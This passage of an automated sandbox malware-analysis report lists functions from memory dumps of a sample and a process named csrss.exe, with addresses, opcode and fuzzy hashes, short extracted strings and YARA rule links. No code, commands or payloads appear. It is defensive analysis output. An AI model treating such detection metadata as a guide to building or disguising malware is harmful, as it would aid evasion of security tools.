Function 00007FFD9B890B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction ID: b39af2ce5e765fc5b5000cb6c072cb2453626f388ac6ea90e7e433a26d719fa9
Opcode Fuzzy Hash: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction Fuzzy Hash: 10E07D3131955D8FCA01EB7CDC154A53F90EF8B21578B10F6D008C7462C110584E8B00

Function 00007FFD9B8A4BBA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction ID: 364053b9a7e378c8a80a80afd747c0fd6b0b52421209c7e09014cccddcb592db
Opcode Fuzzy Hash: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction Fuzzy Hash: 9DE09B317195598FEF18DB4CD8506B93351EB89311F114569D445C35EBDE38AA4686C0

Function 00007FFD9B8910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4765421595b370b6d4ad3100a1932ebc37c083e879d51db04d8a5383499cfee
Instruction ID: a215332b1d224da865d964e612744d71d3968970d58b88364c7a02c4d88b3ce6
Opcode Fuzzy Hash: b4765421595b370b6d4ad3100a1932ebc37c083e879d51db04d8a5383499cfee
Instruction Fuzzy Hash: 32E02621F4C84906FB6CBA7468B25B07280DB86320B0505BDD01EC26DADC0D1CC14281

Function 00007FFD9B8CAA09 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f615af1da0c2ec09adda6e77f0c4195f9d189454f5f8e4761565df77310705d
Instruction ID: 89ed5404882826e64c6c8f7b9e4c74a39559afee72bd2069a3382331381f070e
Opcode Fuzzy Hash: 9f615af1da0c2ec09adda6e77f0c4195f9d189454f5f8e4761565df77310705d
Instruction Fuzzy Hash: 87E0D830B497C44FC30D563888644247BB1EF9B50238A52EBC041CB2A3ED1CDC89C741

Function 00007FFD9B8CB0A9 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383418a40ed1ef3c983491b5404a89283f39ad997c4ecd4bb3408ac180ba680c
Instruction ID: 6fe39cc9d71583f7e62ad85d1463040cdde17570d94712fc6acb49308780efd8
Opcode Fuzzy Hash: 383418a40ed1ef3c983491b5404a89283f39ad997c4ecd4bb3408ac180ba680c
Instruction Fuzzy Hash: 38E04F2161A7C44FC74AA7288C699503BB1EE6B21178A41DBC045CB6B3EA1DC849C741

Function 00007FFD9B8B6920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8b3000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: c7f59ca0b03e09a80785af33bd99c0c892f344578c6dc177d14bd1f3512cf83c
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 2BE0CD3171A80E47E728F3388C646BD7251D799711F454235D01DC32E5ED28EA4143C4

Function 00007FFD9B8CBD38 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863d907b3b9283b499a60717438f98e48cff869f7c808d71163bedd2bacf1930
Instruction ID: 974346a4fb8e2fb493f0a6a0fe3345e09e13b3fbd88c3276fed8c5b1c9a4aef2
Opcode Fuzzy Hash: 863d907b3b9283b499a60717438f98e48cff869f7c808d71163bedd2bacf1930
Instruction Fuzzy Hash: 0ED05E30B20D0D4B8B0CB63D885C430B3D1E7A9206794526E940AC22A1ED29ECC68B80

Function 00007FFD9B8B97E9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8b3000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction ID: f12fbc729e0a786d4033e8a88625c482b16e407e83cc18fe923db0efec5851ca
Opcode Fuzzy Hash: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction Fuzzy Hash: B7E0E57054A3C04FCB06EB7488A9C543FA0EE6721078B41EEC089CB1B3D62D8949C711

Function 00007FFD9B8A3F30 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD9B8CAB80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8CAAF0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B894E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 9e3dc37430dbea83bf9735cad4decf7516bfd690b65a5bca3fc50122377b3c09
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 45E0E571F0E21E57FFA5A388C860BEA6661EB9C300F1500B8D95E933D1CD38AE418B55

Function 00007FFD9B8C7F49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe89738aba349fefa7368f75e4a3b53c94ae1834f1e92dae32924de235620b8d
Instruction ID: 28bcca12952c151ad2f9c155f6563c42bfc93c5306270ea3b24c94790f5088c8
Opcode Fuzzy Hash: fe89738aba349fefa7368f75e4a3b53c94ae1834f1e92dae32924de235620b8d
Instruction Fuzzy Hash: 22E01A6594F7C04FC74B9B3488B88507FA0DE1721074A40EBC085CF2B3D5198949C712

Function 00007FFD9B8CD279 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621aa04d6b03a400e17433f790a3e6e026ae99c8984bd1887effcb594c911659
Instruction ID: 753ac86dccd8c2d1c6a0b833cc2b1473b63ac39370c445ae9147ce9b6d337c0f
Opcode Fuzzy Hash: 621aa04d6b03a400e17433f790a3e6e026ae99c8984bd1887effcb594c911659
Instruction Fuzzy Hash: 59E0123154A7C44FC34A97649C799943FB0EE6B21178B01D7C045CF9B3EA1D8D88C752

Function 00007FFD9B8CAA20 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dcf6f186a69dc30b7264343107c1740d3d06567463b77a3f3b23bc25bec9010
Instruction ID: 26e147993d65d7cca4b7e265459b6abdec6b03699bd51463d17577ea97554209
Opcode Fuzzy Hash: 0dcf6f186a69dc30b7264343107c1740d3d06567463b77a3f3b23bc25bec9010
Instruction Fuzzy Hash: C6D0A934BA0A080B8B0CA53D8858430B392E7AA50B380627CD407C7391ED25ECCA8B80

Function 00007FFD9B8C95C9 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef13adcfb87f64e592c535363c0d2798395a7f7d0c7ffdc9ff5c84477a2386e0
Instruction ID: 163bf6fab5a81ed812f32ce3232fa1cb39ec0038eb8098693f7e332f7bf58006
Opcode Fuzzy Hash: ef13adcfb87f64e592c535363c0d2798395a7f7d0c7ffdc9ff5c84477a2386e0
Instruction Fuzzy Hash: 16E0EC2150A6C44FC70A9B6488699543FB0EE6B21178B01D7C045CB5B3EA1DCA48C742

Function 00007FFD9B8C2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8C7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8c1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: ca72362a4d48ffe59a8c30462d56a3247b0c3dfa35eecb07bbd5aa8b2f5919c2
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 66D01234BA19084FC71CBB388899C747391EB6E21679550A9D00AC73B5D96ADD89C741

Function 00007FFD9B896215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066e412c2f505d7c87b96246a61c06bea4d1987c1c89a9f447107b8f7b55a506
Instruction ID: c8f8d0418ba9ce1cfd2aea8d92eee7c7c0731c38acad4daf4d11c395d06a795b
Opcode Fuzzy Hash: 066e412c2f505d7c87b96246a61c06bea4d1987c1c89a9f447107b8f7b55a506
Instruction Fuzzy Hash: 36D05E10F1E56A2AF72BAB54493197C2D929F89394F9908B5D44E8B1EBCC0C3B024382

Function 00007FFD9B895B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: e5d0312d6633e039846a4669c730db2c0a2f3ac8638050b5c08b27fdcd1107be
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 88D06720F2A51D5FEBA4E76888693B866A1BF4C700F5141B5904DF36A2DD286E418B01

Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction ID: 54bcb275cae05ce4cefc1e6d452f27e05448fe6a51c1c735cce1f41f21f1f119
Opcode Fuzzy Hash: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction Fuzzy Hash: CAC04C06F7B62F01FC3673EE98660ACA9415FDDE10FD70172D54C400E1AD4D22D50256

Function 00007FFD9B8961DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398f72dbde7a4e90dced67e6cd4f828a275ebb1c23f604a75288d96baeb41bba
Instruction ID: 1b1345032dd9f4ed0de5c43aa0653779cfff1584957b1d3f9769221061b27e8b
Opcode Fuzzy Hash: 398f72dbde7a4e90dced67e6cd4f828a275ebb1c23f604a75288d96baeb41bba
Instruction Fuzzy Hash: 6DC04C11F2D85B16F75B6A1445315BE58539F88798FD54074E01EC72CECD1C5B020287

Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 20a0e8ea38b26b097e4b4dc69544e07252542b887743d3d39ef6fcd244df8182
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: B6B01200D7741F00EC2433FB085206478405B8C500FC20070D80C40091E84D12940342

Non-executed Functions

Function 00007FFD9B8A05A5 Relevance: 11.6, Strings: 9, Instructions: 362COMMON

Download Yara Rule

Strings

M_^1, xrefs: 00007FFD9B8A072A
M_^0, xrefs: 00007FFD9B8A0722
]+=, xrefs: 00007FFD9B8A078E
M_^8, xrefs: 00007FFD9B8A0762
+<M, xrefs: 00007FFD9B8A088F
M_^;, xrefs: 00007FFD9B8A077A
M_^%, xrefs: 00007FFD9B8A06C9
M_^9, xrefs: 00007FFD9B8A076A
M_^$, xrefs: 00007FFD9B8A06C2

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction ID: 436637bb78173eb1acf1d3ae442d4b72ad839c5aeb7fac3d54be4f1043375ce9
Opcode Fuzzy Hash: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction Fuzzy Hash: 28911F97B0D53A89D30E36AD7D6A8FD7B00DF8223970843B7D1AE8B0C7AC48608751D5

Function 00007FFD9B8A06D3 Relevance: 11.5, Strings: 9, Instructions: 227COMMON

Download Yara Rule

Strings

M_^1, xrefs: 00007FFD9B8A072A
M_^0, xrefs: 00007FFD9B8A0722
]+=, xrefs: 00007FFD9B8A078E
M_^8, xrefs: 00007FFD9B8A0762
+<M, xrefs: 00007FFD9B8A088F
M_^;, xrefs: 00007FFD9B8A077A
M_^%, xrefs: 00007FFD9B8A06C9
M_^9, xrefs: 00007FFD9B8A076A
M_^$, xrefs: 00007FFD9B8A06C2

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction ID: 5b03a5496408991bdcf1e0e9d2bcdb2af46408014f47790f567bdaad5279a9ea
Opcode Fuzzy Hash: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction Fuzzy Hash: DB513F96B0C53685E31E37A83E6A9F92704CF4133DB0487B7E16E8A0DB6C9D648361D9

Function 00007FFD9B8A06FA Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

M_^1, xrefs: 00007FFD9B8A072A
M_^0, xrefs: 00007FFD9B8A0722
]+=, xrefs: 00007FFD9B8A078E
M_^8, xrefs: 00007FFD9B8A0762
+<M, xrefs: 00007FFD9B8A088F
M_^+, xrefs: 00007FFD9B8A06FA
M_^;, xrefs: 00007FFD9B8A077A
M_^9, xrefs: 00007FFD9B8A076A

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^+$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-1271997427
Opcode ID: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction ID: 6d081ac6525d67a2a227d827330dc544efa4c9de401213a7af1bb2b0079ba7ea
Opcode Fuzzy Hash: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction Fuzzy Hash: 3E512293A0C53684E30E36B83E6A9FD2704CF4137DB0487B7E16E8A0CB6C9C648361D9

Function 00007FFD9B8909B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD9B890B4E
#{9, xrefs: 00007FFD9B890B3E
c9, xrefs: 00007FFD9B890B56
"s9, xrefs: 00007FFD9B890B46

Memory Dump Source

Source File: 00000028.00000002.2166526566.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction ID: 6d9b1f384a9aeedcfe680253e9fb06775860d90a8925d43fa8f2b5ba7ae2950f
Opcode Fuzzy Hash: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction Fuzzy Hash: 6541C147B1957686E21F33FC79299ED9B84CF8527DB0842B7E16E8A0C75C88208393E5

Analysis Process: csrss.exePID: 7812, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B870D4C Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

5\_H, xrefs: 00007FFD9B870DF3

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID: 5\_H
API String ID: 0-3325266018
Opcode ID: 5af2953f90951883c7ac35ca4da99a2f63f6a4e475b545b2c51d1861b6d1ded4
Instruction ID: b90701c3e7ace95738b92331ebff9a62b2cd878bfec2d4bb9cfbc18cb5683925
Opcode Fuzzy Hash: 5af2953f90951883c7ac35ca4da99a2f63f6a4e475b545b2c51d1861b6d1ded4
Instruction Fuzzy Hash: FA9103B1A1AA8D4FEB88DB6898757A97FE1FF59710F4001BAD04AD72E6DB782405C700

Function 00007FFD9B8A1625 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ebae86af2edf0d335ddef0969d8dce91b20b7cbf09f99d5c123fa6a92c44195
Instruction ID: 8787dfbf40107953f62b8d34716ed07d3a9a2b6b82f5fbed28768796aa58cd95
Opcode Fuzzy Hash: 1ebae86af2edf0d335ddef0969d8dce91b20b7cbf09f99d5c123fa6a92c44195
Instruction Fuzzy Hash: C0D1ED21A2E6990BF32D5B688C921B177D1EB87305B5D837DD8DBC319BD928A503C3D1

Function 00007FFD9B870E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44332d1d2fae8e7d601f2a13ab1c422e0aa7f2ff0f50f5fcff1d89d5917ab477
Instruction ID: 201f48e49d1bf102eeca0935803394b0465d6fb90d1ee54b4443c179782c0ff2
Opcode Fuzzy Hash: 44332d1d2fae8e7d601f2a13ab1c422e0aa7f2ff0f50f5fcff1d89d5917ab477
Instruction Fuzzy Hash: 0251F4B2A1A94D4EE758CB58A8B9BAD7FE0FB89714F4001BED00AD37D5DB741415C700

Function 00007FFD9B8A86F0 Relevance: 2.6, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B8A8762
L_^, xrefs: 00007FFD9B8A8712

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^$L_^
API String ID: 0-2199681630
Opcode ID: 1245f323c203cc281016266aa8e9b1bcc81544c4b5fcb5b35f24b2c00433a6c1
Instruction ID: ea1967d091ed08ad2275dc8e4b898686d4671b406964ddf61d629aa142427dea
Opcode Fuzzy Hash: 1245f323c203cc281016266aa8e9b1bcc81544c4b5fcb5b35f24b2c00433a6c1
Instruction Fuzzy Hash: 49317CB3A0B6594BE31AAB6EECA64D837D0FF1121CB4D01F6C6988B293FE10744F8151

Function 00007FFD9B8A880D Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B8A882A

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^
API String ID: 0-925995230
Opcode ID: 4be9823df4caa6ec9a6d42dfe40ce610bd41e599ffeadf87dc47141920691934
Instruction ID: fc55c76ad50f4a580fc2f2bed849a7571b6625691c2b4144285763f34b6f216b
Opcode Fuzzy Hash: 4be9823df4caa6ec9a6d42dfe40ce610bd41e599ffeadf87dc47141920691934
